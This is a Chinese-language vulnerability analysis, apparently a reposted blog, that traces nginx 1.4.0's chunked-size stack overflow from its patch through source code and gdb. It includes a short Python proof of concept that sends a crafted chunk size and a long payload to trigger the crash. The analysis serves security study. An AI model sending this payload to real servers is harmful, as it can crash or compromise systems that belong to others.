【安全漏洞】从补丁追溯漏洞触发路径
背景
操作系統(tǒng):ubuntu 18.04 64bit
漏洞軟件:nginx-1.4.0
【查看資料】
1. 漏洞補(bǔ)丁信息
從補(bǔ)丁可以認(rèn)識(shí)一個(gè)漏洞的觸發(fā)源。
查看github中的補(bǔ)丁信息Fixed chunk size parsing. · nginx/nginx@818807d (github.com)如下:
if (ctx->size < 0 || ctx->length < 0) {goto invalid;}return rc;可以看到補(bǔ)丁中在/src/http/ngx_http_parse.c的ngx_http_parse_chunked函數(shù)返回值中增加了對(duì)變量ctx->length和ctx->size的負(fù)值判斷
查看ctx變量的結(jié)構(gòu)體定義,
可以看到size和length的類(lèi)型變量是off_t,而off_t對(duì)應(yīng)了long int,是一個(gè)有符號(hào)的變量(記住這一點(diǎn),很重要)。
2. 漏洞觸發(fā)路徑分析
從上一步中可以得到漏洞的根源在于/src/http/ngx_http_parse.c的ngx_http_parse_chunked函數(shù),與負(fù)值的變量ctx->length和ctx->size有關(guān),現(xiàn)在開(kāi)始追蹤這兩個(gè)變量的后續(xù)流向。
2.1 漏洞復(fù)現(xiàn)
POC信息
從互聯(lián)網(wǎng)可以找到該漏洞的POC如下:
import sockethost = "127.0.0.1" ip='127.0.0.1'raw = '''GET / HTTP/1.1\r\nHost: %s\r\nTransfer-Encoding: chunked\r\nConnection: Keep-Alive\r\n\r\n''' % (host)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, 80))data1 = raw data1 += "f000000000000060" + "\r\n"print data1 s.send(data1)s.send("B" * 6000) s.close()這個(gè)POC會(huì)發(fā)送兩次TCP請(qǐng)求數(shù)據(jù),第一次是一個(gè)HTTP請(qǐng)求:
GET / HTTP/1.1 Host: 127.0.0.1 Transfer-Encoding: chunked Connection: Keep-Alivef000000000000060第二次是一個(gè)超長(zhǎng)的"B"字符串。
chunked HTTP請(qǐng)求
第一個(gè)HTTP請(qǐng)求的特殊之處在于這是一個(gè)分塊傳輸?shù)恼?qǐng)求。在請(qǐng)求體中,在每一個(gè)分塊的開(kāi)頭需要添加當(dāng)前分塊的長(zhǎng)度,以十六進(jìn)制的形式表示,后面緊跟著 ‘\r\n’ ,之后是分塊本身,后面也是’\r\n’
漏洞復(fù)現(xiàn)
在shell中找到nginx工作進(jìn)程的pid,并使用gdb 掛載調(diào)試 ,并在patch函數(shù)下斷點(diǎn)。
osboxes@osboxes:~$ ps aux |grep nginx root 2081 0.0 0.0 21860 1908 ? Ss 11:14 0:00 nginx: master process ./nginx -c conf/nginx.conf nobody 7185 0.0 0.0 22256 2196 ? S 17:32 0:00 nginx: worker process osboxes 7406 0.0 0.0 14436 1008 pts/0 S+ 19:13 0:00 grep --color=auto nginx osboxes@osboxes:~$ sudo gdb -p 7185 pwndbg> b ngx_http_parse_chunked Breakpoint 1 at 0x5599fb464871: file src/http/ngx_http_parse.c, line 1974. pwndbg> c Continuing.執(zhí)行POC,并查看函數(shù)調(diào)用棧可以看到如下:
那我們就依照源碼來(lái)分析漏洞的觸發(fā)路徑
1.ngx_http_parse_chunked函數(shù)解析HTTP中的塊大小
查看ngx_http_parse_chunked函數(shù),可以看到該函數(shù)的主要功能為解析HTTP請(qǐng)求體中的chunk信息。
ngx_int_t ngx_http_parse_chunked(ngx_http_request_t *r, ngx_buf_t *b,ngx_http_chunked_t *ctx) { ...state = ctx->state; ...rc = NGX_AGAIN; ...switch (state) {...case sw_chunk_size:if (ch >= '0' && ch <= '9') {ctx->size = ctx->size * 16 + (ch - '0');break;}c = (u_char) (ch | 0x20);if (c >= 'a' && c <= 'f') {ctx->size = ctx->size * 16 + (c - 'a' + 10);break;}...}data:switch (state) { ...case sw_chunk_data:ctx->length = ctx->size + 4 /* LF "0" LF LF */;break; ...return rc; ... }當(dāng)遇到HTTP請(qǐng)求體中的塊大小,即f000000000000060時(shí),會(huì)將字符串解析為對(duì)應(yīng)的十六進(jìn)制數(shù)字,并保存在ctx->size中。注意,由于是有符號(hào)的,ctx的值是為負(fù)數(shù)的。之后ctx->size的值會(huì)賦值到ctx->lenth中,也就是:
ctx->lenth= ctx->size+4= parseLong('f000000000000060')+4= -1152921504606846880+4= -1152921504606846876之后,函數(shù)返回,返回值為rc=NGX_AGIN
2.ngx_http_discard_request_body_filter將值進(jìn)一步向上傳遞
根據(jù)返回值rc == NGX_AGAIN, 這個(gè)負(fù)值會(huì)進(jìn)一步傳遞到r->headers_in.content_length_n 變量中,注意這也是一個(gè)off_t類(lèi)型的,也就是它也是**負(fù)數(shù)。**也就是
r->headers_in.content_length_n = rb->chunked->length= -1152921504606846876之后函數(shù)返回 ,返回值為NGX_OK。
3.ngx_http_discard_request_body簡(jiǎn)單跳轉(zhuǎn)
在ngx_http_discard_request_body函數(shù)中, 控制流返回后進(jìn)入到另一個(gè)子函數(shù)中。
4.ngx_http_read_discarded_request_body棧溢出
逃脫ngx_min檢查
在ngx_http_read_discard_request_body函數(shù)中本來(lái)是有長(zhǎng)度范圍檢查ngx_min,但是正如我們前面所說(shuō)的,長(zhǎng)度為負(fù)數(shù),所以這個(gè)檢查就被繞過(guò)了
size 被賦予超大值
在函數(shù)中size_t是一個(gè)無(wú)符號(hào)的long int, 這樣size就被意外的賦值為一個(gè)超大的數(shù)值。也就是
(size_t) size= r->headers_in.content_length_n= 17293822569102704740recv 將超長(zhǎng)的輸入寫(xiě)入局部變量buffer
在解析size之后,nginx 會(huì)嘗試再次讀取輸入,
n = r->connection->recv(r->connection, buffer, size);此時(shí),系統(tǒng)會(huì)嘗試size=17293822569102704740大小的輸入寫(xiě)入到局部變量buffer中,由此造成了棧溢出。
3. 漏洞路徑
4. 漏洞數(shù)據(jù)流
總結(jié)整理數(shù)據(jù)的流動(dòng)方向如下圖:
總結(jié)
這個(gè)漏洞的原因在于,帶符號(hào)整數(shù)在轉(zhuǎn)為無(wú)符號(hào)數(shù)時(shí)會(huì)變?yōu)闃O大的值,從而導(dǎo)致nginx從socket中讀取了超長(zhǎng)的值到局部變量中。
漏洞的觸發(fā)條件為三個(gè):
參考:Nginx棧溢出分析 - CVE-2013-2028 - l3m0n - 博客園 (cnblogs.com)
關(guān)注我,持續(xù)更新!!!
私我獲取【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略】
總結(jié)
以上是生活随笔為你收集整理的【安全漏洞】从补丁追溯漏洞触发路径的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 【网络安全】Windows cmd的命令
- 下一篇: 【网络安全】如何使用ppmap检测和利用